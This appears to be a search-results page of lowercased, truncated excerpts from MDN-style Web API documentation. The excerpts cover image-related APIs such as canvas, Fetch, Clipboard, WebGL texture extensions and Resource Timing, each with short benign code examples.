let replacedel = document.getelementbyid( 'image' ); let position = new csspositionvalue( css.px(35), css.px(40) ); replacedel.attributestylemap.set( 'object-position', position ); console.log( position.x.value, position.y.value ); console.log( replacedel.computedstylemap().get('object-position') ); we set the object-position property, then check the values returned.
... #image { width: 300px; height: 300px; border: 1px solid black; background-color: #dededf; object-fit: none; } <p>check the developer tools to see the log in the console and to inspect the style attribute on the image.</p> <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> ...
CSS Object Model (CSSOM) - Web APIs
rule cssvariablesmap cssviewportrule elementcssinlinestyle fontface fontfaceset fontfacesetloadevent geometryutils getstyleutils linkstyle medialist mediaquerylist mediaquerylistevent mediaquerylistlistener screen stylesheet stylesheetlist transitionevent several other interfaces are also extended by the cssom-related specifications: document, window, element, htmlelement, htmlimageelement, range, mouseevent, and svgelement.
... css typed object model cssimagevalue csskeywordvalue cssmathinvert cssmathmax cssmathmin cssmathnegate cssmathproduct cssmathsum cssmathvalue cssmatrixcomponent cssnumericarray cssnumericvalue cssperspective csspositionvalue cssrotate cssscale cssskew cssskewx cssskewy cssstylevalue csstransformcomponent csstransformvalue csstranslate cssunitvalue cssunparsedvalue cssvariablereferencevalue stylepropertymap stylepropertymapreadonly obsolete cssom interfaces cssprimitivevalue cssvalue cssvaluelist tutorials determining the dimensions of elements (it needs some updating as it was made in the dhtml/ajax era).
Using the CSS properties and values API - Web APIs
.registered { --registered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455...
...; } <button class="registered">background registered</button> <button class="unregistered">background not registered</button> .registered { --registered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } button { height: 40vh; display: block; width: 100%; font-size: 3vw; } window.css.registerproperty({ name: '--registered', syntax: '<color>', inherits: false, initialvalue: 'red', }); while n...
CanvasPattern.setTransform() - Web APIs
html <canvas id="canvas"></canvas> <svg id="svg1"></svg> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var svg1 = document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support dommatrix as an input to settransform(), so for example you could repla...
... see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:120px"> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); };</textarea> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var textarea = document.getele...
CanvasRenderingContext2D.globalAlpha - Web APIs
the canvasrenderingcontext2d.globalalpha property of the canvas 2d api specifies the alpha (transparency) value that is applied to shapes and images before they are drawn onto the canvas.
...if we were to increase the step count (and thus draw more circles), the background would eventually disappear completely from the center of the image.
Compositing example - Web APIs
ment("dd"); var p = document.createelement("p"); p.textcontent = gcotext.pop(); dd.appendchild(p); var canvastodrawon = createcanvas(); var canvastodrawfrom = createcanvas(); var canvastodrawresult = createcanvas(); var ctx = canvastodrawresult.getcontext('2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas1, 0, 0, width/2, height/2); ctx.globalcompositeoperation = pop; ctx.drawimage(canvas2, 0, 0, width/2, height/2); ctx.globalcompositeoperation = "source-over"; ctx.fillstyle = "rgba(0,0,0,0.8)"; ctx.fillrect(0, height/2 - 20, width/2, 20); ctx.fillstyle = "#fff"; ctx.font = "14px arial"; ctx.filltext(pop, 5, height/2 - 5); ...
... ctx.restore(); var ctx = canvastodrawon.getcontext('2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas1, 0, 0, width/2, height/2); ctx.fillstyle = "rgba(0,0,0,0.8)"; ctx.fillrect(0, height/2 - 20, width/2, 20); ctx.fillstyle = "#fff"; ctx.font = "14px arial"; ctx.filltext('existing content', 5, height/2 - 5); ctx.restore(); var ctx = canvastodrawfrom.getcontext('2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas2, 0, 0, width/2, height/2); ctx.fillstyle = "rgba(0,0,0,0.8)"; ctx.fillrect(0, height/2 - 20, width/2, 20); ctx.fillstyle = "#fff"; ctx.font = "14px arial"; ctx.filltext('new content', ...
Drawing shapes with canvas - Web APIs
the difference between these can best be described using the image on the right.
...+ height - radius); ctx.arcto(x, y + height, x + radius, y + height, radius); ctx.lineto(x + width - radius, y + height); ctx.arcto(x + width, y + height, x + width, y + height-radius, radius); ctx.lineto(x + width, y + radius); ctx.arcto(x + width, y, x + width - radius, y, radius); ctx.lineto(x + radius, y); ctx.arcto(x, y, x, y + radius, radius); ctx.stroke(); } the resulting image looks like this: screenshotlive sample we won't go over this in detail, since it's actually surprisingly simple.
Canvas tutorial - Web APIs
the images on this page show examples of <canvas> implementations which will be created in this tutorial.
... in this tutorial basic usage drawing shapes applying styles and colors drawing text using images transformations compositing and clipping basic animations advanced animations pixel manipulation hit regions and accessibility optimizing the canvas finale ...
Clipboard.write() - Web APIs
WebAPIClipboardwrite
the clipboard method write() writes arbitrary data, such as images, to the clipboard.
...for copying images to the clipboard).
ClipboardItem - Web APIs
examples writing to clipboard here we're writing a new clipboarditem.clipboarditem() to the clipboard by requesting a png image using the fetch api, and in turn, the responses' blob() method, to create the new clipboarditem.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipboard.read() method.
DOMParser - Web APIs
WebAPIDOMParser
the possible values are the following: mimetype doc.constructor text/html document text/xml xmldocument application/xml xmldocument application/xhtml+xml xmldocument image/svg+xml xmldocument examples parsing xml once you have created a parser object, you can parse xml from a string using the parsefromstring() method: let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") error handling note that if the parsing process fails, the domparser does not throw an exception, but instead returns an...
... if the mime type is text/xml, the result will be an xmldocument if the mime type is image/svg+xml, the result will be an svgdocument if the mime type is text/html, the result will be an htmldocument let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") // returns a document, but not an svgdocument nor an htmldocument parser = new domparser(); doc = parser.parsefromstring(stringcontainingsvgsource, "image/svg+xml") // returns a ...
Document.readyState - Web APIs
interactive the document has finished loading and the document has been parsed but sub-resources such as images, stylesheets and frames are still loading.
... // but sub-resources such as images, stylesheets and frames are still loading.
Document Object Model (DOM) - Web APIs
element svgelement svgellipseelement svgfeblendelement svgfecolormatrixelement svgfecomponenttransferelement svgfecompositeelement svgfeconvolvematrixelement svgfediffuselightingelement svgfedisplacementmapelement svgfedistantlightelement svgfedropshadowelement svgfefloodelement svgfefuncaelement svgfefuncbelement svgfefuncgelement svgfefuncrelement svgfegaussianblurelement svgfeimageelement svgfemergeelement svgfemergenodeelement svgfemorphologyelement svgfeoffsetelement svgfepointlightelement svgfespecularlightingelement svgfespotlightelement svgfetileelement svgfeturbulenceelement svgfilterelement svgfilterprimitivestandardattributes svgfontelement svgfontfaceelement svgfontfaceformatelement svgfontfacenameelement svgfontfacesrcelement svgfontface...
...urielement svgforeignobjectelement svggelement svggeometryelement svgglyphelement svgglyphrefelement svggradientelement svggraphicselement svghatchelement svghatchpathelement svghkernelement svgimageelement svglineargradientelement svglineelement svgmarkerelement svgmaskelement svgmeshelement svgmeshgradientelement svgmeshpatchelement svgmeshrowelement svgmetadataelement svgmissingglyphelement svgmpathelement svgpathelement svgpatternelement svgpolylineelement svgpolygonelement svgradialgradientelement svgrectelement svgscriptelement svgsetelement svgsolidcolorelement svgstopelement svgstyleelement svgsvgelement svgswitchelement svgsymbolelement svgtextcontentelement svgtextelement svgtextpathelement svgtextpositioningelement sv...
EXT_sRGB - Web APIs
WebAPIEXT sRGB
constants this extension exposes the following constants, which can be used in the teximage2d(), texsubimage2d(), renderbufferstorage() and getframebufferattachmentparameter() methods.
... examples var ext = gl.getextension('ext_srgb'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, ext.srgb_ext, 512, 512, 0, ext.srgb_ext, gl.unsigned_byte, image); specifications specification status comment ext_srgbthe definition of 'ext_srgb' in that specification.
Using Fetch - Web APIs
the code would look something like this: fetch('flowers.jpg') .then(response => { if (!response.ok) { throw new error('network response was not ok'); } return response.blob(); }) .then(myblob => { myimage.src = url.createobjecturl(myblob); }) .catch(error => { console.error('there has been a problem with your fetch operation:', error); }); supplying your own request object instead of passing a path to the resource you want to request into the fetch() call, you can create a request object using the request() constructor, and pass that in as a fetch() method argument: const myheaders =...
... new headers(); const myrequest = new request('flowers.jpg', { method: 'get', headers: myheaders, mode: 'cors', cache: 'default', }); fetch(myrequest) .then(response => response.blob()) .then(myblob => { myimage.src = url.createobjecturl(myblob); }); request() accepts exactly the same parameters as the fetch() method.
GlobalEventHandlers.onerror - Web APIs
a good example for this is when you are using an image tag, and need to specify a backup image in case the one you need is not available on the server for any reason.
... <img src="imagenotfound.gif" onerror="this.onerror=null;this.src='imagefound.gif';" /> the reason we have the this.onerror=null in the function is that the browser will be stuck in an endless loop if the onerror image itself generates an error.
HTMLFormElement.elements - Web APIs
syntax nodelist = htmlformelement.elements value an htmlformcontrolscollection containing all non-image controls in the form.
... the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.
HTMLVideoElement - Web APIs
htmlvideoelement.poster is a domstring that reflects the poster html attribute, which specifies an image to show while no video data is available.
... htmlvideoelement.mozdecodedframes read only returns an unsigned long with the count of parsed video frames that have been decoded into images.
Headers() - Web APIs
WebAPIHeadersHeaders
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' or you can add the headers you want as the headers object is created.
... in the following snippet we create a new headers object, adding some headers by passing the constructor an init object as an argument: var httpheaders = { 'content-type' : 'image/jpeg', 'accept-charset' : 'utf-8', 'x-my-custom-header' : 'zeke are cool' }; var myheaders = new headers(httpheaders); you can now create another headers object, passing it the first headers object as its init object: var secondheadersobj = new headers(myheaders); secondheadersobj.get('content-type'); // would return 'image/jpeg' — it inherits it from the first headers object specifications specification status comment fetchthe definition of 'headers()' in that specification.
Ajax navigation example - Web APIs
/* customizable constants */ stargetid = "ajax-content", sviewkey = "view_as", sajaxclass = "ajax-nav", /* not customizable constants */ rsearch = /\?.*$/, rhost = /^[^\?]*\?*&*/, rview = new regexp("&" + sviewkey + "\\=[^&]*|&*$", "i"), rendqstmark = /\?$/, oloadingbox = document.createelement("div"), ocover = document.createelement("div"), oloadingimg = new image(), opageinfo = { title: null, url: location.href }, ohttpstatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ { 100: "continue", 101: "switching protocols", 102: "processing", 200: "ok", 201: "created", 202: "accepted", 203: "non-authoritati...
...riant also negotiates (experimental)", 507: "insufficient storage", 508: "loop detected", 509: "unassigned", 510: "not extended", 511: "network authentication required" }; var oreq, bisloading = false, bupdateurl = false; oloadingbox.id = "ajax-loader"; ocover.onclick = abortreq; oloadingimg.src = "data:image/gif;base64,r0lgodlheaaqapiaap///waaamlcwkjcqgaaagjiyokcgpkskih/c05fvfndqvbfmi4waweaaaah/hpdcmvhdgvkihdpdgggywphegxvywquaw5mbwah+qqjcgaaacwaaaaaeaaqaaadmwi63p4wyklre2mioggznadomgyjrbexwroumcg2lmdewnhqlvsyod2mbzkydadka+diaaah+qqjcgaaacwaaaaaeaaqaaadnai63p5ojcegg4qmu7dmikrxqlfuydezigbmrvsaqhwctxxf7weyb4ag1xjihkmzsiukkhiaifkecqoaaaasaaaaabaaeaaaazyiujijk8pbyjdmlfyvbovjha70gu7xsujhmktwhpakzlo9hmaokwjz...
MediaMetadata.artwork - Web APIs
the artwork property of the mediametadata interface returns or sets an array of mediaimage objects representing images associated with playing media.
... syntax var artwork[] = mediametadata.artwork mediametadata.artwork = artwork[] value an array of mediaimage objects.
MediaStream.getVideoTracks() - Web APIs
example the following example, extracted from chrome's image capture / photo resolution sample, uses getvideotracks() to retrieve a track for passing to the imagecapture() constructor.
... var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) specifications specification status comment media capture and streamsthe definition of 'getvideotracks()' in that specification.
MediaTrackConstraints - Web APIs
properties of image tracks whitebalancemode a string specifying one of "none", "manual", "single-shot", or "continuous".
... mediastream image capture working draft adds image constraints.
Notification.Notification() - Web APIs
badge: a usvstring containing the url of the image used to represent the notification when there isn't enough space to display the notification itself.
... image: a usvstring containing the url of an image to be displayed in the notification.
OES_texture_float - Web APIs
extended methods this extension extends webglrenderingcontext.teximage2d() and webglrenderingcontext.texsubimage2d(): the type parameter now accepts gl.float.
... examples var ext = gl.getextension('oes_texture_float'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.float, image); specifications specification status comment oes_texture_floatthe definition of 'oes_texture_float' in that specification.
OES_texture_half_float - Web APIs
extended methods this extension extends webglrenderingcontext.teximage2d() and webglrenderingcontext.texsubimage2d(): the type parameter now accepts ext.half_float_oes.
... examples var ext = gl.getextension('oes_texture_half_float'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, ext.half_float_oes, image); specifications specification status comment oes_texture_half_floatthe definition of 'oes_texture_half_float' in that specification.
PasswordCredential.iconURL - Web APIs
the iconurl read-only property of the passwordcredential interface returns a usvstring containing a url pointing to an image for an icon.
... this image is intended for display in a credential chooser.
PasswordCredential - Web APIs
passwordcredential.iconurl read only secure context a usvstring containing a url pointing to an image for an icon.
... this image is intended for display in a credential chooser.
ReadableStream.pipeThrough() - Web APIs
examples in the following example (see unpack chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fetched and its body retrieved as a readablestream.
... // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fetch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) specifications specification status comment streamsthe definition of 'pipethrough()' in that specification.
Request.destination - Web APIs
this type is much broader than the usual document type values (such as "document" or "manifest"), and may include contextual cues such as "image" or "worker" or "audioworklet".
... example in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then save the request's destination: var myrequest = new request('flowers.jpg'); var mydestination = myrequest.destination; // returns the empty string by default specifications specification status comment fetchthe definition of 'destination' in that specification.
Request.headers - Web APIs
WebAPIRequestheaders
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request headers in a variable: var myrequest = new request('flowers.jpg'); var myheaders = myrequest.headers; // headers {} to add a header to the headers object we use headers.append; we then create a new request along with a 2nd init parameter, passing headers in as an init option: var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'defa...
...ult' }; var myrequest = new request('flowers.jpg', myinit); mycontenttype = myrequest.headers.get('content-type'); // returns 'image/jpeg' specifications specification status comment fetchthe definition of 'headers' in that specification.
Using the Resource Timing API - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource such as an xmlhttprequest, <svg>, image, script, etc.).
... function buffer_full(event) { console.log("warning: resource timing buffer is full!"); set_resource_timing_buffer_size(200); } function init() { // load some image to trigger "resource" fetch events var image1 = new image(); image1.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; var image2 = new image(); image2.src = "http://mozorg.cdn.mozilla.net/media/img/firefox/firefox-256.e2c1fc556816.jpg" // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } coping with cors ...
Resource Timing API - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to load a specific resource, such as an xmlhttprequest, <svg>, image, or script.
... the initiatortype property returns the type of resource that initiated the performance entry such as "css" for a css resource, "xmlhttprequest" for an xmlhttprequest and "img" for an image (such as a jpeg).
Response.clone() - Web APIs
WebAPIResponseclone
var image1 = document.queryselector('.img1'); var image2 = document.queryselector('.img2'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { var response2 = response.clone(); response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image1.src = objecturl; }); response2.blob().then(function(myblob) { var objecturl = ur...
...l.createobjecturl(myblob); image2.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'clone()' in that specification.
Response.redirected - Web APIs
fetch("awesome-picture.jpg").then(function(response) { let elem = document.getelementbyid("warning-message-box"); if (response.redirected) { elem.innerhtml = "unexpected redirect"; } else { elem.innerhtml = ""; } return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); disallowing redirects because using redirected to manually filter out redirects can allow forgery of redirects, you should instead set the redirect mode to "error" in the init parameter when calling fetch(), like this: fetch("awesome-picture.jpg", { redirect: "error"...
... }).then(function(response) { return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); specifications specification status comment fetchthe definition of 'redirected' in that specification.
Storage - Web APIs
WebAPIStorage
if(!localstorage.getitem('bgcolor')) { populatestorage(); } setstyles(); function populatestorage() { localstorage.setitem('bgcolor', document.getelementbyid('bgcolor').value); localstorage.setitem('font', document.getelementbyid('font').value); localstorage.setitem('image', document.getelementbyid('image').value); } function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; ...
... htmlelem.style.backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see this running as a complete working example, see our web storage demo.
WEBGL_compressed_texture_astc.getSupportedProfiles() - Web APIs
low dynamic ranges are for example jpeg format images which won't exceed 255:1, or crt monitors which won't exceed 100:1.
... an hdr image stores pixel values that span the whole tonal range of real-world scenes (100,000:1).
WEBGL_compressed_texture_astc - Web APIs
constants the compressed texture formats are exposed by 28 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
...11) / 12) * floor((height + 9) / 10) * 16 35776 ext.compressed_rgba_astc_12x12_khr ext.compressed_srgb8_alpha8_astc_12x12_khr 12x12 0.89 floor((width + 11) / 12) * floor((height + 11) / 12) * 16 29584 examples var ext = gl.getextension('webgl_compressed_texture_astc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_astc_12x12_khr, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
WEBGL_compressed_texture_atc - Web APIs
constants the compressed texture formats are exposed by 3 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... examples var ext = gl.getextension('webgl_compressed_texture_atc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_atc_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_atcthe definition of 'webgl_compressed_texture_atc' in that specification.
WEBGL_compressed_texture_etc - Web APIs
constants the compressed texture formats are exposed by 10 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... examples var ext = gl.getextension('webgl_compressed_texture_etc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba8_etc2_eac, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etcthe definition of 'webgl_compressed_texture_etc' in that specification.
WEBGL_compressed_texture_etc1 - Web APIs
constants the compressed texture format is exposed by a constant and can be used with the compressedteximage2d() method (note that etc1 is not supported with the compressedtexsubimage2d() method).
... examples var ext = gl.getextension('webgl_compressed_texture_etc1'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_etc1_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etc1the definition of 'webgl_compressed_texture_etc1' in that specification.
WEBGL_compressed_texture_pvrtc - Web APIs
constants the compressed texture formats are exposed by four constants and can be used in two functions: compressedteximage2d() (where the height and width parameters must be powers of 2) and compressedtexsubimage2d() (where the the height and width parameters must equal the current values of the existing texture and the xoffset and yoffset parameters must be 0).
... examples var ext = gl.getextension('webgl_compressed_texture_pvrtc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_pvrtc_4bppv1_img, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_pvrtcthe definition of 'webgl_compressed_texture_pvrtc' in that specification.
WEBGL_depth_texture - Web APIs
extended methods this extension extends webglrenderingcontext.teximage2d(): the format and internalformat parameters now accept gl.depth_component and gl.depth_stencil.
... examples var ext = gl.getextension('webgl_depth_texture'); gl.teximage2d(gl.texture_2d, 0, gl.depth_component, 512, 512, 0, gl.depth_component, gl.unsigned_short, null); specifications specification status comment webgl_depth_texturethe definition of 'webgl_depth_texture' in that specification.
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
... when using a webgl 2 context, the following values can be returned additionally: gl.framebuffer_incomplete_multisample: the values of gl.renderbuffer_samples are different among attached renderbuffers, or are non-zero if the attached images are a mix of renderbuffers and textures.
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGLRenderingContext.hint() - Web APIs
possible values: gl.generate_mipmap_hint: quality of filtering when generating mipmap images with webglrenderingcontext.generatemipmap().
... examples the following example hints that the quality of filtering when generating mipmap images should be most efficient instead of best quality.
WebGLRenderingContext.pixelStorei() - Web APIs
glint 0 0 to infinity opengl es 3.0 gl.unpack_image_height image height used for reading pixel data from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_pixels number of pixel images skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_rows number of rows of pixel locations skipped before the first pixel is read from memory glint 0 ...
... 0 to infinity opengl es 3.0 gl.unpack_skip_images number of pixel images skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 examples setting the pixel storage mode affects the webglrenderingcontext.readpixels() operations, as well as unpacking of textures with the webglrenderingcontext.teximage2d() and webglrenderingcontext.texsubimage2d() methods.
WebGL model view projection - Web APIs
this clip space is compressed down into a 2d space and rasterized into an image.
... <<< insert image(s) here >>> the final step in all of this is to create the view matrix, which transforms the objects in the scene so they're positioned to simulate the camera's current location and orientation.
Web Video Text Tracks Format (WebVTT) - Web APIs
within site css video::cue { background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } video::cue(b) { color: peachpuff; } here, all video elements are styled to use a gray linear gradient as their backgrounds, with a foreground color of "papayawhip".
...in this case, you insert your css rules into the file with each rule preceded by the string "style" all by itelf on a line of text, as shown below: webvtt style ::cue { background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } /* style blocks cannot use blank lines nor "dash dash greater than" */ note comment blocks can be used between style blocks.
Window.devicePixelRatio - Web APIs
this is useful when dealing with the difference between rendering on a standard display versus a hidpi or retina display, which use more screen pixels to draw the same objects, resulting in a sharper image.
... use window.devicepixelratio to determine how much extra pixel density should be added to allow for a sharper image.
Window.open() - Web APIs
WebAPIWindowopen
this can be a path or url to an html page, image file, or any other resource that is supported by the browser.
... examples var windowobjectreference; var windowfeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; function openrequestedpopup() { windowobjectreference = window.open("http://www.cnn.com/", "cnn_windowname", windowfeatures); } var windowobjectreference; function openrequestedpopup() { windowobjectreference = window.open( "http://www.domainname.ext/path/imagefile.png", "descriptivewindowname", "resizable,scrollbars,status" ); } if a window with the name already exists, then url is loaded into the existing window.
Sending and Receiving Binary Data - Web APIs
this example reads an image as a binary file and creates an 8-bit unsigned integer array from the raw bytes.
... note that this will not decode the image and read the pixels.
Using XMLHttpRequest - Web APIs
name: <input type="text" name="lastname" /><br /> sex: <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">male</label> <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">female</label><br /> password: <input type="password" name="secret" /><br /> what do you prefer: <select name="image_type"> <option>books</option> <option>cinema</option> <option>tv</option> </select> </p> <p> post your photos: <input type="file" multiple name="photos[]"> </p> <p> <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="bike" /> <label for="vehicle_bike">i have a bike</label><br /> <input id="vehicle_car" type="...
... name: <input type="text" name="lastname" /><br /> sex: <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">male</label> <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">female</label><br /> password: <input type="password" name="secret" /><br /> what do you prefer: <select name="image_type"> <option>books</option> <option>cinema</option> <option>tv</option> </select> </p> <p> post your photos: <input type="file" multiple name="photos[]"> </p> <p> <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="bike" /> <label for="vehicle_bike">i have a bike</label><br /> <input id="vehicle_car" type="...
XRRenderState.baseLayer - Web APIs
the read-only baselayer property of the xrrenderstate interface returns the xrwebgllayer instance that is the source of bitmap images and a description of how the image is to be rendered in the device.
...that context is passed into new xrwebgllayer() to create an xrwebgllayer which uses the contents of the webgl context gl as the source of the world's image during presentation.
XRRenderState - Web APIs
the xrrenderstate interface of the webxr device api contains configurable values which affect how the imagery generated by an xrsession gets composited.
... baselayer read only the xrwebgllayer from which the browser's compositing system obtains the image for the xr session.
XRView - Web APIs
WebAPIXRView
the value can also be none if the xrview is presenting monoscopic data (such as a 2d image, a full-screen view of text.
... function applymousemovement(refspace) { if (!mouseyaw && !mousepitch && !axialdistance && !transversedistance && !verticaldistance) { return refspace; } // compute the quaternion used to rotate the image based // on the pitch and yaw.
ARIA: listbox role - Accessibility
the listbox role is used for lists from which a user may select one or more items which are static and, unlike html <select> elements, may contain images.
...unlike <select>, a listbox can contain images.
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
however, nsimageaccessible overrides getaccfirstchild, returning the first area of an image map if there is one, otherwise nsnull.
... this is necessary because the image map areas can be in a completely different area of the dom from the image they apply to.
Mobile accessibility checklist - Accessibility
images of text must be avoided.
... all user interface components with visible text (or image of text) as labels must have the same text available in the programmatic name of the component.
:-moz-broken - CSS: Cascading Style Sheets
the :-moz-broken css pseudo-class is a mozilla extension that matches elements representing broken image links.
... syntax :-moz-broken examples html <img src="broken.jpg" alt="this image is broken.
scan - CSS: Cascading Style Sheets
WebCSS@mediascan
the word scanning used in this context does not refer to an image scanner, such as one used to digitize a photograph.
... rather, it means the process by which an image is painted onto a television screen (or other device).
Box alignment in grid layout - CSS: Cascading Style Sheets
the exception to this rule is where the item has an intrinsic aspect ratio, for example an image.
... in this case the item will be aligned to start in both dimensions in order that the image is not distorted.
Handling content breaks in multicol - CSS: Cascading Style Sheets
for example, we would generally prefer that the figcaption of an image not be separated into a new column away from the image it refers to and ending a column with a heading looks strange.
...this property takes values of: auto avoid avoid-page avoid-column avoid-region in the example below, we have applied break-inside to the figure element to prevent the caption from becoming separated from the image.
Spanning and Balancing Columns - CSS: Cascading Style Sheets
in this example, we have columns containing an image and some text which are balanced.
... the image cannot break and so goes into the first column and the other columns fill with equal amounts of text.
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
in my image gallery example i have some landscape and some portrait images.
... i have set landscape images – with a class of landscape to span two column tracks.
Basic Concepts of grid layout - CSS: Cascading Style Sheets
in the below image you can see a track highlighted – this is the first row track in our grid.
...in the below image, i have highlighted the first cell of the grid.
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
until that happens, you can ensure that items do not stretch, such as images, which are direct children of the grid, by setting align-self and justify-self to start.
... in the below image i have placed the grid with align-content, with a value of start alongside the grid when align-content has a value of space-between.
